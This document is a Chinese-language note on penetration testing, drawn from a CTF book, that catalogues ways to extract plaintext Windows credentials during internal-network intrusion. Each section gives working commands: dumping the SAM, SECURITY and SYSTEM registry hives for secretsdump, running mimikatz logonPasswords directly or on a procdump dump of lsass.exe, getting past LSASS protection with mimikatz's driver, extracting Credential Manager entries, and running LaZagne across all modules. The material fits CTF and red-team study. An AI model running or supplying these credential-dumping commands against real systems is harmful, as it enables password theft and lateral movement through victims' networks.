内网渗透之获取明文身份凭证
0 前言
下文主要是从《从0到1的CTFer成长之路》阅读所做的笔记,处于备忘的目的,主要内容是内网渗透中获取控制主机的明文身份凭证的几种方法,归纳角度从原理和方法两个角度写。。
1 LSA Secret
原理
本地安全策略,存储私有数据,用户和系统的敏感数据都存储在LSA Secrets的注册表中
操作
开始--运行bai--(输入)regedit--回车
Secrets里面存在用户的一些default
方法
先导出注册表项
reg save hklm\sam C:\sam.save
reg save hklm\security C:\security.save
reg save hklm\system C:\system.save
然后用impacket的 secretsdump脚本加载
https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py
usage
secretsdumps.py -sam sam.save -security security.save -system system.save LOCAL
2 LSASS PROcess
原理
本地安全性授权服务,明文存储用户身份凭证,以进程的形式运行。注册表中有个参数的值能影响LSASS是否明文存储用户身份凭证,但实际上如果有足够的权限,完全可以修改这个选项。
方法
(1)mimikatz提取密码
https://github.com/gentilkiwi/mimikatz
mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords full" exit
(2) procdump+mimikatz
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
procdump.exe -accepteula -ma lsass.exe xxx.dmp 2>&1
mimikatz.exe "sekurlsa::minidump c:\lsass.dmp" "sekurlsa::logonPasswords full" exit
3 LSASS 防护绕过
原理
为了保护进程不被转存,注册表中定义了一个开关,保护不被转存。
方法
mimikatz使用驱动强行去除保护绕过
.\mimikatz.exe
privilege::debug
sekurlsa:logonpasswords
4 Credential Manager
原理
credential manager存储用户的登录凭证,win凭据管理是保存访问web站点的账号密码,远程连接其他主机或共享路径的账号密码。
方法
mimikatz
privilege::debug
sekurlsa::credman
5 lazagne
原理
除了以上的win自带的机制之外,主机内部可能还会存在一些敏感文件、软件缓存、内存、日志、wifi等维度存储了明文密码,为了提升工作效率,lazagne将这些操作进行了自动化集合,技术栈是python
https://github.com/AlessandroZ/LaZagne
方法
laZagne.exe all -oA -output C:\Users\test\Desktop